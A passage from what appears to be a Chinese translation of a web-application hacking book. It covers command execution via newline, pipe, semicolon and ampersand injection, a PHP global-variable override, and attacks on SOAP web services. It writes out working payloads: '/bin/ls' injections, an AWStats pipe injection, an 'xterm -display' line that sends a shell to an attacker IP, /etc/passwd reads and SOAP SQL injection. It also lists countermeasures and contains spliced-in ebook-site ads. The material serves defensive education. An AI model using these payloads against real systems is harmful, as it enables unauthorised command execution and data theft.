日志注入的一个实例发生在流行的SSHD监控工具DenyHosts上。DenyHosts监控SSH日志，动态地阻止产生太多验证错误的连接的源IP。版本2.6容易遭受一种日志注入攻击，这种攻击能够导致SSH拒绝服务。因为允许用户指定记录的用户名，攻击者可以在控制SSH访问的/etc/hosts.deny文件中指定任何用户。通过指定所有用户，攻击者在机器上完全锁定SSH服务，阻止所有外部连接。关于这种日志注入漏洞的更多信息可以在http://www.ossec.net/main/attacking-log-analysis-tools上找到。

所有日志和监控系统都需要严格的校验，避免截断日志项目导致信息丢失的攻击。最严重的日志注入攻击能够侵入用于监控日志的系统，由于没有完成何种类型攻击的证据，事故响应特别困难。

6.4.11　命令执行

许多攻击只是造成信息泄露，如数据库列、应用源代码或者任意文件内容。命令执行是攻击的常见目标。因为命令行访问（或者等价的功能）很快地导致对Web服务器，可能还有局部网络上的其他系统的完全入侵。

换行符

换行符的16进制形式%0a，对于任意命令执行来说是一个有用的字符。在Unix系统上，较不安全的CGI脚本（如以Shell语言编写的脚本）将把换行符解释为执行新命令的指令。

例如，一个服务提供商的银行业务平台的管理界面以Korn Shell（ksh）编写。界面的一个功能是调用内部“分析”程序收集该服务提供商承接的几十个银行网站的统计数字。GET请求的形式为URL/analyze.sh?-t+24&-i。第一个测试是确定是否能向脚本传递任意的变量。果然，URL/analyze.sh?-h返回“分析”程序的帮助页面。下一步是命令执行：URL/analyze.sh?-t%0a/bin/ls%0a，返回服务器上的一个目录列表（使用ls命令）。这时，我们拥有了服务器上的命令行访问的等价权限。但是要记住，获得的访问权级别仅仅等价于赋予该Shell脚本的权限。

&、管道和分号

命令注入攻击中的重要技术之一是寻找命令分隔符的正确组合。Windows和基于Unix的系统都接受&、管道和分号的某种子集。

管道符号（|或者URL编码%7c）可以用于链接Unix和Windows命令。基于Perl的AWStats应用（http://awstats.sourceforge.net/）提供了命令执行中使用管道符号的一个好例子。6.5版本以下的AWStats在awstats.pl文件的configdir参数中容易遭到命令注入攻击。下面是攻击语法的一个实例：

http://website/awstats/awstats.pl?configdir=|command|

这里的command可以是任何Unix命令。例如，你可以下载并且执行攻击代码，或者使用netcat发送一个反向shell。管道符号对于awstats.pl文件中使用的Perl open()函数创建有效参数来说是必需的。

分号（；或者URL编码%3b）是Unix系统上最容易用于命令执行的字符。分号用于分隔一个命令行上的多条命令。&号（&或者URL编码%26）在Windows上的作用相同。因此，这个字符有时用来欺骗基于Unix的脚本。这种测试的执行方式是在域值后面附加分号，接着是所要运行的命令。例如：

command1; command2; command3

下一个示例说明了如何修改一个表单的下拉式菜单里的选项值导致命令执行。一般情况下，用户选择arcfiles.html页面中的一个菜单选项时，应用期望的是一个8位数字。这个页面本身没有漏洞，但是它的HTML表单向CGI程序view.sh发送POST数据。“.sh”后缀拉响了输入校验的警报，特别是命令执行，因为Unix shell脚本对于安全CGI程序来说大概是最糟糕的选择了。在用户浏览器中显示的HTML源代码中，一个选项值是这样的：

<option value = "24878478" > Acme Co.

表单方法是POST。我们可以设置一个类似Paros的代理工具，在POST请求到达服务器之前修改数据。但是，我们将该文件存储到本地计算机上，修改这一行来执行任意命令（攻击者的IP地址是10.0.0.42）。我们选择的命令是在自己的客户端上显示一个Web服务器的终端窗口。当然，客户端和服务器必须都支持X Window系统。我们制作了这个命令，并且在下载到本地计算机的arcfiles.html页面中设置了新值。

<option value = "24878478; xterm -display 10.0.0.42:0.0" > Acme Co.

接下来，我们打开本地电脑上的arcfiles.html副本，选择下拉式菜单里的“Acme Co.”。这个基于Unix的应用接收8位的选项值，将其传递给view.sh文件，但是参数还包含了一个分号。用Bourne shell编写的CGI脚本按照常规解析8位选项，然后转向字符串中的下一个命令。如果一切按照计划进行，控制台上弹出一个xterm窗口，你立刻得到了受害机器上的命令行访问权。

&号（&或者URL编码%26）也可用于执行命令。一般来说，这个字符用作URL上参数之间的分隔符。但是，利用简单的URL编码，&号可以在变量中提交。基于Shell的系统监控应用Big Brother曾经有过多个漏洞。Bugtraq ID 1779描述了&号引起的任意命令执行。

6.4.12　编码误用

我们在第1章中提到过，URL语法在RFC 3986中定义（链接参见“参考和延伸阅读”小节）。这个RFC还定义了多种编码URL的方法，编码之后的字符与编码之前完全不同，但是意义完全一致。攻击者在Web的历史上常常利用这种灵活性，构成越来越高级的绕过输入校验的技术。表6-4列出了攻击者最常采用的编码技术和一些例子。

表6-4　攻击者常用的URL编码技术

读累了记得休息一会哦~

公众号：古德猫宁李

电子书搜索下载

书单分享

书友学习交流

网站：沉金书屋 https://www.chenjin5.com

电子书搜索下载

电子书打包资源分享

学习资源分享

6.4.13　PHP全局变量

本章的绝大部分介绍有效对抗Web应用（不考虑编程语言或者平台）的技术。不同的应用技术的安全性都不是与生俱来的。不充足的输入校验是主要的问题，当开发人员没有意识到Web应用面对的威胁，或者低估了应用被攻击的可能性时，这个问题就会出现。

然而，有些语言引入的特性被误用或者误解，从而造成了不安全的应用。PHP在超级全局变量的使用中就有一个这样的特性。超级全局变量具有最大的可能范围，从而可以从PHP文件中的任何函数或者类中访问。最常用的4个超级全局变量是$_GET、$_POST、$_COOKIE和$_SESSION。每个变量都包含一个相关的参数数组。例如，通过表单POST发送的数据以名称/值的形式存储于$_POST变量中。也可以使用$GLOBALS变量创建自定义的超级全局变量。

在应用中没有正确初始化的超级全局变量可能被作为GET或POST参数发送的值覆盖。这对于预期来自用户提供输入的数组值，以及不应该受到操纵的值来说，都是如此。例如，config数组变量可能有一个用于root_dir的项目。如果config被注册为全局PHP变量，就可能用写入新值的一个请求来攻击它：

http://www.website.com/page.php?config[root_dir]=/etc/passwd%00

PHP将采用config[root_dir]参数，应用新值——一个肯定不该在应用中使用的值。

在不访问源代码的情况下确定全局变量的名称不总是很容易；但是，其他的技术依靠通过POST发送GET参数（或者相反）了解提交的数据能否绕过校验过滤器。

更多的信息可以在Hardened PHP项目网站上找到：http://www.hardenedphp.net/。特别要看看http://www.hardened-php.net/advisory_172005.75.html和http://www.hardened-php.net/advisory_202005.79.html。

6.4.14　常见的副作用

输入校验攻击不一定能造成应用入侵。它们还可以从详细的错误信息中帮助识别平台细节，为SQL注入攻击解释数据库结构细节，或者仅仅识别应用是否使用足以胜任的输入过滤器。

详细的错误信息

这不是一种特殊的攻击类型，而是前述的许多种攻击的结果。提供信息的错误信息可能包括完整的路径和文件名、变量名、SQL表描述，Servlet错误（包括在用的定制和基本Servlet）、数据库错误或者关于应用及环境的其他信息。

6.5　常见对策

我们在输入校验攻击的讨论中已经介绍了多种对策。但是，重申阻止这些攻击的几个关键点仍很重要：

·使用客户端校验是为了性能而不是安全。客户端输入校验机制避免无害的输入错误和打字错误到达服务器。这种先发制人的校验步骤能够避免无意的错误数据到达服务器，降低了服务器的负载。恶意的用户能够简单地绕过客户端校验控制，所以它们应该始终得到服务器端控制的补充。

·规范化输入值。许多攻击具有几十种基于字符集和十六进制表现的替代编码。输入数据在应用安全和校验检查之前应该是规范化的。否则，编码的载荷可能仅仅通过一个过滤器，在稍后的步骤中被解码为恶意的载荷。这个步骤还包括规范化文件和路径名的措施。

·应用服务器端输入校验。所有来自Web浏览器的数据可能用任意内容修改。因此，正确的输入校验必须在服务器完成，在服务器上不可能绕过校验功能。

·限制数据类型。应用不应该处理不符合基本类型、格式和长度要求的数据。例如，数字值应该赋予数字数据结构，字符串值应该赋予字符串数据结构。此外，美国的邮政编码不仅接受数字值，还可以是精确的5位数字（“ZIP plus four”格式）。

·使用安全字符编码和“输出校验”。用于HTML和SQL格式的字符应该以避免应用错误解读的风格进行编码。例如，以HTML编码方式表示尖括号（&lt;和&gt;）。这种输出校验或者字符重新格式化可以作为对抗HTML注入攻击的附加安全层。即使恶意的载荷成功地通过输入过滤器，其影响也会在输出阶段失效。

·使用白名单和黑名单。使用正则表达式，将数据与授权或者未授权内容匹配。白名单包含可接受内容的模式。黑名单包含不可接受或者恶意内容的模式。依靠白名单一般较容易（也更审慎），因为所有需要阻止的恶意内容集合可能是无限的。而且，你只能创建已知攻击的黑名单模式；新的攻击将避开这种过滤。不过，使用少数恶意结构如用于简单SQL注入和跨站脚本攻击的黑名单仍然是个好主意。

提示　有些字符串有多种引用方法（所谓实体标记）：命名、十进制、十六进制和UTF-8（Unicode）；更多关于实体编码与浏览器安全关联的内容参见http://code.google.com/p/browsersec/wiki/Part1#HTML_entity_encoding。

·安全地处理错误。不管用什么语言编写应用，错误处理都应该遵循try、catch、finally异常处理概念。Try（尝试）一个操作；Catch（捕捉）操作可能导致的异常；Finally（最终），如果其他方法都失败，则正常退出。一个通用的、有礼貌的不包含任何系统信息的错误页面也是必不可少的。

·要求验证。在某些情况下，配置服务器对目录中所有文件要求目录级的适当验证也是很有意义的。

·使用最少权限访问。用可能的最小权限账户运行Web服务器和任何支持应用。对于容易遭到任意命令执行攻击的应用来说，在不能访问/sbin目录（许多Unix管理员工具存储的位置）的情况下风险低于能够以root用户执行命令的类似应用。

6.6　小结

恶意输入攻击瞄准应用不能充分解析的值。不充分的解析可能是由于不加区分地接受用户提供的数据、依赖客户端校验过滤器或者不会使用非表单数据的预期。一旦攻击者找到了一个目标，接着就可能有更严重的攻击。基于拙劣的输入校验的攻击包括缓冲区溢出、任意文件访问、社会工程攻击、SQL注入和命令注入。输入校验例程决非小事，忽略了它将会造成应用的极大风险。下面是发现不足的输入过滤器的一些目标：

·GET请求的每个参数

·POST请求的每个参数

·表单（电子邮件地址、家庭地址、姓名、注释）

·搜索域

·cookie值

·浏览器环境值（用户代理、IP地址、操作系统等）

此外，表6-5列出了常常代表恶意载荷或者代表某种生成错误或者执行命令的字符和URL编码。这些字符并不一定攻击应用，也不总是无效的；但是，在应用不期望这些字符出现的地方，往往保持一点耐心就能使它们成为一次攻击。

表6-5　测试输入校验的流行字符

6.7　参考与延伸阅读

第7章　攻击XML Web服务

从XML Web服务被满怀热情地引入计算机世界已经过去了多年，这种服务得到了互联网巨擘包括Microsoft、IBM和Sun的支持。开始，Web服务主要是作为使异构的Web应用轻松地互相通信，并且最小化人工干预的一种“胶水”。正如Microsoft所描述的那样，Web服务将提供“一种低耦合的、语言无关的、独立于平台的，在组织内部、跨越企业和跨越互联网的应用链接方法”。现在，Web服务已经超越了多种应用通信的领域，广泛地用于各种应用，包括Web 2.0应用和云计算之类的新技术。

Web服务在互联网上的广泛使用已经使得Web服务安全问题比之前更加迫切。Web服务的安全性并不是天生地比其他技术差（或者好），但是由于它们很容易使用户和潜在的攻击者得到应用接口，安全的部署和实施也就关系重大。本章将从Web服务的实质开始，然后关注于攻击它的方式。

7.1　Web服务是什么

简单地说，Web服务是一个自包含的软件组件，执行特定的功能并将关于它的功能的信息通过网络发布给其他组件。Web服务基于一组互联网标准，包括Web服务定义语言（WSDL），这是描述服务输出的连接点的XML格式；统一描述、发现和集成（UDDI）规范，这是一组用于描述和发现Web服务的XML协议和一种基础架构；还有简单对象访问协议（SOAP），这是用于Web服务之间的消息和RPC风格通信的基于XML协议。

利用这三种技术，Web服务可以混合和匹配，创建革命性的应用、过程和价值链。

注意　你可能注意到Web服务技术中可扩展标示语言（XML）的中心地位——因为XML很容易以结构化的风格表现数据，为应用之间的通信提供了强大的骨干。因此，Web服务通常指的是XML Web服务，但是在技术上并没有要求使用XML实现这些服务。

更加吸引人的是，Web服务为减轻集成多个Web应用、协调传递数据的标准、协议、平台等任务的艰巨性提供了一种条理清晰的机制。Web服务能够通过WSDL、UDDI和SOAP描述自身的功能，并且搜索其他Web服务并与之进行交互。因此，Web服务提供了不同组织互相连接应用，管理跨越网络的动态电子商务，而不需要顾及应用、设计或者运行时环境（ASP.NET、ISAPI、COM、PHP、J2EE等）的一种方法。

Web服务和普通的旧式网站有什么不同？Web服务针对的是没有智能的实体而不是最终用户。正如Microsoft所描述的，“与网站、基于浏览器的交互或者依赖平台的技术相反，Web服务是通过定义好的格式和协议，以平台独立和语言无关的风格提供的计算机到计算机的服务。”

图7-1图解描述了Web服务集成到我们在第1章中描述的典型Web应用架构的方式。（我们省略了原图中的一些细节，聚焦于澄清Web服务的作用）。图7-1显示了虚构的公司A上的一个Web服务，将关于公司A的应用信息发布给其他公司（虚构的公司B）和互联网客户。我们来谈谈本图中的Web服务技术更重要的一些方面。

图7-1　模式化的Web服务架构图

7.1.1　传输：SOAP over HTTP

Web服务是传输不可知的，但是大部分现行标准文档讨论的是HTTP（对于非ASCII数据是MIME）。因此，在图7-1中，我们将Web服务封装在一个仲裁Web服务通信的通用“服务器”之中。

SOAP封装在用于传输的任何协议之中——最常见的例子是SOAP over HTTP（如果需要通信机密性和完整性则使用HTTPS）。回忆一下，SOAP是用于与Web服务通信的消息协议——它所携带的是什么类型的消息？根据万维网联盟（W3C）SOAP入门书籍所说，“SOAP提供XML文档的定义，可用于在分散的分布式环境中的对等实体之间交换结构化和类型化的信息。它根本上是一种无状态的单向消息交换范例……”。SOAP消息由三个部分组成：信封（Envelope）、首部和主体，如图7-2所示。

图7-2　SOAP消息的图示，展示了信封、主体和首部

在最基本的细节上，在HTTP上封装的SOAP消息和下面这个虚构的股票交易Web服务示例类似（注意信封、首部、主体及其子元素）。还要注意，原始的请求是一个HTTP POST请求。

POST /StockTrader HTTP/1.1
Host: www.stocktrader.edu
Content-Type: text/xml; charset="utf-8"
Content-Length: nnnn
SOAPAction: "Some-URI"
<SOAP-ENV:Envelope
   xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
   SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
     <SOAP-ENV:Header>
       <m:quote xmlns:m="http://www.stocktrader.edu/quote"
           env:actor="http://www.w3.org/2001/12/soap-envelope/actor/next"
           env:mustUnderstand="true">
       <m:reference>uuid:9oe4567w-q345-739r-ba5d-pqff98fe8j7d</reference>
       <m:dateAndTime>2010-03-28T09:34:00.000-06:00</m:dateAndTime>
     </m:quote>
   <SOAP-ENV:Body>
        <m:GetQuote xmlns:m="Some-URI">
           <symbol>MSFT</symbol>
        </m:GetQuote>
   </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

对这个虚构Web服务请求的响应可能类似于：

HTTP/1.1 200 OK
Content-Type: text/xml; charset="utf-8"
Content-Length: nnnn
<SOAP-ENV:Envelope
   xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
   SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
    <SOAP-ENV:Body>
       <m:GetQuoteResponse xmlns:m="Some-URI">
            <Price>67.5</Price>
       </m:GetQuoteResponse>
    </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

SOAP入侵工具

尽管第一眼看上去可能很复杂，但是SOAP over HTTP和其他基于文本的互联网协议一样容易处理——可能也一样容易操纵！因为Web服务只是HTTP之上的XML，任何HTTP操纵工具（如第1章中讨论过的那些工具）都有效。但是，如果有专门对付SOAP的好工具，为什么要去做那些工作呢？下面列出作者选择的SOAP入侵工具：

·WebService Studio：这是一个免费工具，有两个非常相似却不相同的版本：一个在http://code.msdn.microsoft.com/webservicestudio20/。另一个在http://webservicestudio.codeplex.com。输入一个WSDL位置，该工具将生成所有可用的方法，并且提供一个交互式的UI用于输入数据。它将显示为你的Web服务请求所创建的原始SOAP请求和响应。这个工具还有一些绝妙的功能，如在一个漂亮的分析树视图里显示WSDL。图7-3显示了工作中的WebService Studio。

·SoapUI：这是Eviware提供的免费开放源码桌面应用，用于检查、调用和开发Web服务、Web服务模拟和Web服务的仿真、功能、装入和兼容测试。这个杰出的工具提供了和WebService Studio相同的“指点”式功能，而且还提供了强大的脚本语言，用于创建复杂或者动态的测试方案。

·WSDigger：这是Foundstone提供的免费工具，进行一些非常简单的自动化测试，如针对Web服务的XPath注入、SQL注入和命令执行。它不像WebService Studio那么灵活，但是确实具备了打印出显示找到的任何Web服务漏洞的漂亮报告的能力，这种能力使其成为非常有用的工具。

·WSFuzzer：这是neuroFuzz Application Security LLC发起的一个OWASP项目。这个免费工具用Python编写，执行Web服务的自动化fuzzing测试。它提供了一些有趣的功能，例如IDS逃避、客户端SSL证书支持和HTML格式报告。

·SoapClient.com： SoapClient有一个漂亮的网页，列出非常有用的Web服务工具，如WSDL校验器、WSDL分析器、SOAP客户和UDDI浏览器。如果需要这些工具，通常可以在这里找到。

图7-3　来自http://code.msdn.microsoft.com的WebService Studio

7.1.2　WSDL

尽管没有出现在图7-1中，但WSDL是Web服务概念的中心。它被看做Web服务的核心组件、服务发布和输出接口及功能信息的机制。WSDL一般通过一个或者多个页面实现，这些页面可以在服务器上Web服务驻留的位置访问（一般使用.wsdl和.xsd文件扩展名）。

W3C的WSDL规范将其描述为“一种XML语法，用于将网络服务描述为一组能够交换消息的通信端点。”本质上，这意味着WSDL文档描述Web服务输出的功能（操作）以及连接（绑定）的方式。继续前面讨论过的SOAP示例，下面是一个提供股票交易功能的简单Web服务的WSDL定义示例。注意，我们的例子包含了服务的下列关键信息：

·Types（类型）和Message（消息）元素定义可以传递的消息格式（通过嵌入式XML schema定义）。

·portType元素定义消息传递的语义，例如request-only（仅请求）、request-response（请求-响应）和response-only（仅响应）。

·Binding（绑定）元素指定具体传输方法（如HTTP、HTTPS或者SMTP）之上的各种编码。

·Service（服务）元素定义服务的端点（一个URL）。

<?xml version="1.0"?>
<definitions name="StockTrader"
targetNamespace="http://stocktrader.edu/stockquote.wsdl"
      xmlns:tns="http://stocktrader.edu/stockquote.wsdl"
      xmlns:xsd1="http://stocktrader.edu/stockquote.xsd"
      xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
      xmlns="http://schemas.xmlsoap.org/wsdl/">
<types>
   <schema targetNamespace="http://stocktrader.edu/stockquote.xsd"
         xmlns="http://www.w3.org/2000/10/XMLSchema">
      <element name="GetQuote">
         <complexType>
            <all>
                <element name="tickerSymbol" type="string"/>
            </all>
         </complexType>
   </element>
   <element name="Price">
         <complexType>
               <all>
                    <element name="price" type="float"/>
               </all>
            </complexType>
       </element>
     </schema>
</types>
<message name="GetQuoteInput">
      <part name="body" element="xsd1:QuoteRequest"/>
</message>
<message name="GetQuoteOutput">
      <part name="body" element="xsd1:StockPrice"/>
</message>
      <portType name="StockQuotePortType">
           <operation name="GetQuote">
                <input message="tns:GetQuoteInput "/>
                <output message="tns:GetQuoteOutput "/>
           </operation>
     </portType>
     <binding name="StockQuoteSoapBinding"
                    type="tns:StockQuotePortType">
        <soap:binding transport="http://
schemas.xmlsoap.org/soap/http"/>
        <operation name="GetQuote">
            <soap:operation soapAction=
                     "http://stocktrader.edu/GetQuote"/>
            <input>
                <soap:body use="literal"/>
            </input>
            <output>
                <soap:body use="literal"/>
             </output>
        </operation>
      </binding>
      <service name="StockQuoteService">
         <documentation>User-readable documentation here
         </documentation>
         <port name="StockQuotePort"
               binding="tns:StockQuoteBinding">
             <soap:address location=
                           "http://stocktrader.edu/stockquote"/>
      </port>
   </service>
</definitions>

WSDL文档中的信息一般是无害的，因为它通常用于公开消费。但是，正如你所看到的，如果没有适当的安全措施，大量业务逻辑可能会为WSDL所暴露。实际上，WSDL文档通常链接到“接口契约”，接口契约描述一个事务中愿意接受的特定业务。此外，Web开发人员有着在WSDL文档这样的应用文件中放入不恰当信息的坏名声，我们也确实发现通过这个接口可以收获许多泄露的信息。

7.1.3　目录服务：UDDI和DISCO

根据UDDI.org的定义，“统一描述、发现和集成（Universal Description，Discovery，and Integration，UDDI）是分布式的、基于Web的Web服务信息注册规范。UDDI也是这个规范可供公众访问的实现集合，允许企业注册它们所提供的Web服务的信息，使其他企业能够找到这些服务。”

图7-4说明了UDDI融入Web服务整体框架的方式。首先，Web服务提供者用合适的API（这个API一般取决于使用的工具箱）发布关于服务的信息。然后，Web服务消费者可以在UDDI目录中查找特定的服务，这将把消费者指向Web服务提供者中装入的相关WSDL文档。WSDL指出了连接和使用Web服务的方式，最终将消费者与其寻找的具体功能连接。尽管不是必需的，图7-4中的所有交互都可以在SOAP上发生（大部分情况下可能都这么实现）。

图7-4　UDDI、WSDL和Web服务之间的“发布、寻找、绑定”交互。所有箭头都代表SOAP通信

UDDI目录分为两类：公用的和私有的。公用的UDDI是公司用来向公众提供Web服务的。xmethods.net是公用UDDI目录的一个例子。

私有的UDDI目录一般是大型公司实现的，用于内部或者B2B使用。这些目录建立于公司内部通常只能由组织的员工或者合作伙伴访问。因为UDDI目录是许多公司提供Web服务的场所，查询尽可能多的目录，发现你评估的公司是否有开放的服务是很有用的。许多UDDI客户端可以用于搜索目录，我们常常使用SoapClient.com上的一个客户端。图7-5显示了对Amazon的UDDI搜索。

图7-5　SOAP客户端执行UDDI搜索

原始的UDDI查询如下：

POST /inquire HTTP/1.0
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Host: www.xmethods.net
Content-Length: 425
<?xml version="1.0" encoding="utf-8"?><soap:Envelope
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/
XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><find_business
generic="2.0" xmlns="urn:uddiorg:api_v2"><findQualifiers><findQualifier
>orAllKeys
</findQualifier></findQualifiers><name xml:lang="en">amazon</name></
find_business></soap:Body></soap:Envelope>

在发布任何Web服务到UDDI之前都要经过深思熟虑。即使已经有了合适的验证，Web服务也开放了你的攻击面。如果你的公司有需要Web服务目录的合作伙伴，就要创建一个带有校验的私有UDDI。

注意　你绝不应通过隐藏来得到安全性，但是既实施安全又进行隐藏是无害的。

因为公用UDDI目录是公开的，找到它们并不困难，而且它们通常包含了无害的信息。私有UDDI目录则不同。

如果攻击者发现了一个私有UDDI，那么他就遇到了一座金矿，原因有二。第一，大部分私有UDDI目录提供了非常有趣的Web服务，能够侵入组织应用架构的核心。第二，因为处于内部，私有的UDDI假定“阻止”了外部访问，它们实施的安全控制很少，甚至常常连基本的验证都没有。

如果“发布”权限可用，公众就有能力在目录中创建或者编辑Web服务，常见的攻击可能是重命名现有Web服务或者创建一个Web服务器的精确副本，作为中间人，记录所有流量甚至实时操纵流量。

发现UDDI在大多数情况下相当简单。许多公司都有类似uddi.site.com的站点，访问它们的方法很简单，只需要向http://uddi.site.com/inquiry发送一个查询，发布则访问http://uddi.site.com/publish。其他常见的位置如表7-1所示。

表7-1　常见私有UDDI位置

DISCO

Web服务发现（Discovery of Web Services，DISCO）是一种Microsoft专利技术，存在于其.NET Server操作系统和其他.NET相关产品中。为了使用DISCO发布一个部署好的Web服务，只需要创建一个.disco文件，和其他服务相关的文件（如.asmx、.wsdl、.xsd和其他文件类型）一起放在Web服务的虚拟根目录（vroot）下。这个.disco文档是一个XML文档，包含指向描述Web服务的其他资源的链接，和包含接口契约的WSDL文件很相似。下面是一个简单的DISCO文件示例：

<disco:discovery
   xmlns:disco="http://schemas.xmlsoap.org/disco/"
   xmlns:scl="http://schemas.xmlsoap.org/disco/scl/">
   <!-- reference to other DISCO document -->
   <disco:discoveryRef
      ref="related-services/default.disco"/>
   <!-- reference to WSDL and documentation -->
   <scl:contractRef ref="stocks.asmx?wsdl"
      docRef="stocks.asmx"/>
</disco:discovery>

DISCO文件的主要元素是contractRef，这个元素有两个属性ref和docRef，指向给定Web服务的WSDL和文档文件。此外，discoveryRef元素可以把给定的DISCO文档链接到其他DISCO文档，创建一个跨越多台机器甚至多个组织的DISCO文档网络。因此，.disco文件常常为恶意的黑客提供有趣的珍贵信息。

在.NET Framework SDK中，Microsoft发布了一个disco.exe工具，连接到给定的DISCO文件，提取在指定URL发现的Web服务的信息（将输出写入到文件results.discomap），并且下载发现的所有.disco和.wsdl文件。它还能浏览整个网站寻找DISCO文件，将它们存储在指定的输出目录，语法如下：

C:\>disco /out:C:\output http://www.victim.com/service.asmx
Microsoft (R) Web Services Discovery Utility
[Microsoft (R) .NET Framework, Version 1.0.3705.0]
Copyright (C) Microsoft Corporation 1998-2001. All rights reserved.
Disco found documents at the following URLs:
http://www.victim.com/service.asmx?wsdl
http://www.victim.com/service.asmx?disco
The following files hold the content found at the corresponding URLs:
   C:\output\service.wsdl <- http://www. victim.com/service.asmx?wsdl
   C:\output\service.disco <- http://www. victim.com/service.asmx?disco
The file C:\output\results.discomap holds links to each of these files.

在大部分情况下，未来的客户可能不知道.disco文件的确切地址，所以DISCO在vroot的默认页面中提供了线索。如果vroot的默认页面是一个HTML文档，可以使用LINK标记将客户重定向到.disco文件：

<HTML>
      <HEAD>
            <link type='text/xml'
            rel='alternate'
            href='math.disco'/>
</HEAD>
...
</HTML>

如果vroot的默认页面是一个XML文档，你可以使用XML样式单处理指令完成同样的工作：

<?xml-stylesheet type="text/xml" alternate="yes"
   href="math.disco"?>
...

虽然DISCO可能为更广泛接受的UDDI规范所取代，但是因为它是更简单、更轻量级的Web服务发布手段，许多开发人员无疑仍会采用它。加上在广泛部署的Microsoft技术中的可用性，DISCO或者类似的产品可能会成为恶意黑客寻求Web服务信息的优质目标。

7.1.4　与Web应用安全的相似性

Web服务在很多方面都类似独立的Web应用，由脚本、可执行文件和Web服务器上虚拟目录中的配置文件组成。因此，正如你可能预计到的，我们在本书中已经讨论过的许多漏洞也适用于Web服务，所以不要因为部署了所谓“Web服务”的新事物，就忽略了Web应用安全的基础。参见附录A中的Web应用安全基础检查列表。

读累了记得休息一会哦~

公众号：古德猫宁李

电子书搜索下载

书单分享

书友学习交流

网站：沉金书屋 https://www.chenjin5.com

电子书搜索下载

电子书打包资源分享

学习资源分享

7.2　攻击Web服务

好了，背景资料已经足够。Web服务在现实的攻击下会遇到什么问题呢？本节将讨论我们在最近的咨询工作中遇到的实例。

DISCO和WSDL泄露

只要在服务请求后面附加特殊的参数，Microsoft Web服务（.asmx文件）可能交出DISCO和/或WSDL，例如，下面的URL将会连接到一个Web服务并且显示服务的人类可理解的界面：

http://www.victim.com/service.asmx

在这个URL后附加？disco或者？WSDL可以显示DISCO或WSDL信息，如：

http://www.victim.com/service.asmx?disco

以及：

http://www.victim.com/service.asmx?wsdl

图7-6展示了对Web服务的这种攻击的结果。这个示例中的数据是无害的（你可能预想一个服务希望公布自己的信息），但是我们在这类输出中看到过一些很不好的东西：SQL Server凭据、敏感文件和目录的路径，以及Web开发人员喜欢塞进配置文件中的所有好东西。WSDL信息非常广泛——我们已经讨论过，它列出了所有服务端点和数据类型。在开始恶意的输入攻击之前，黑客还能要求得更多吗？

图7-6　用？disco参数转储远程Web服务的DISCO信息

我们还应该注意，你可能通过审阅Web服务或者相关页面的HTML源代码，找到DISCO文件的确切文件名。我们在本章前面对DISCO的讨论中，看到了在HTML中实施的对DISCO文件位置的“提示”方法。

DISCO和WSDL泄露对策

假定你打算发布关于Web服务的一些信息，为了避免DISCO或者WSDL泄露成为严重的问题，最好是避免在XML中出现敏感或者私有的数据。对文件存在的目录访问权的严正也是个好主意。确保DISCO或WSDL信息不会落到入侵者手中的唯一办法是避免创建相关的.wsdl、.discomap、.disco和.xsd文件。如果有这些文件，那么就是为了发布而设计的！

注入攻击

大部分Web服务容易遭到的主要攻击是所有软件程序的通病：输入校验。实际上，我们发现Web服务甚至比“经典”的基于HTTP/HTML的Web应用更容易遭到攻击。这是因为大部分开发人员假定与Web服务通信的是一台计算机而不是人。例如，下面的SOAP请求说明了SQL注入是如何在Web服务调用中完成的。粗体的部分是用于accountNumber参数的SQL注入攻击：

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http:/
/www.w3.org/2001/XMLSchema">
  <soap:Body>
    <InjectMe xmlns="http://tempuri.org/">
      <accountNumber>0' OR '1' = '1</accountNumber>
    </InjectMe>
  </soap:Body>
</soap:Envelope>

接下来，我们将介绍一个通过SOAP服务执行远程命令的示例。这个特殊的服务用于将图像从一种格式转换为另一种，问题的根源在于这个服务从用户输入中取得文件名，将其直接放入命令行。我们在如下的请求中注入了一个简单的/bin/ls命令（粗体部分），获得服务器上的目录列表。当然，我们可以做更坏的事情。

POST /services/convert.php HTTP/1.0
Content-Length: 544
SoapAction: http://www.host.com/services/convert.php
Host: www.host.com
Content-Type: text/xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?><SOAPENV:
Envelope xmlns:SOAPSDK1="http://www.w3.org/2001/XMLSchema"
xmlns:SOAPSDK2="http://www.w3.org/2001/XMLSchema-instance"
xmlns:SOAPSDK3="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAPENV:
Body><SOAPSDK4:convert xmlns:SOAPSDK4="http://www.host.com/
services/"><SOAPSDK1:source>|/bin/ls</
SOAPSDK1:source><SOAPSDK1:from>test</SOAPSDK1:from><SOAPSDK1:to>test</
SOAPSDK1:to></SOAPSDK4:convert></SOAP-ENV:Body></SOAP-ENV:Envelope>

下面是服务器的响应。注意粗体部分中ls命令的输出。

HTTP/1.1 200 OK
Date: Tue, 18 May 2010 09:34:01 GMT
Server: Apache/1.3.26 (Unix) mod_ssl/2.8.9 OpenSSL/0.9.6a ApacheJServ/
1.1.2 PHP/4.2.2
X-Powered-By: PHP/4.2.2
Connection: close
Content-Type: text/html
<cTypeface:Bold>Warning</b>: fopen("cv/200301182241371.|/bin/ls",
"w+") - No such file or directory in <cTypeface:Bold>/usr/home/www/services/
convert.php</b> on line <cTypeface:Bold>24</b><br />
<br />
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAPENV:
encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.
w3.org/2001/
XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/
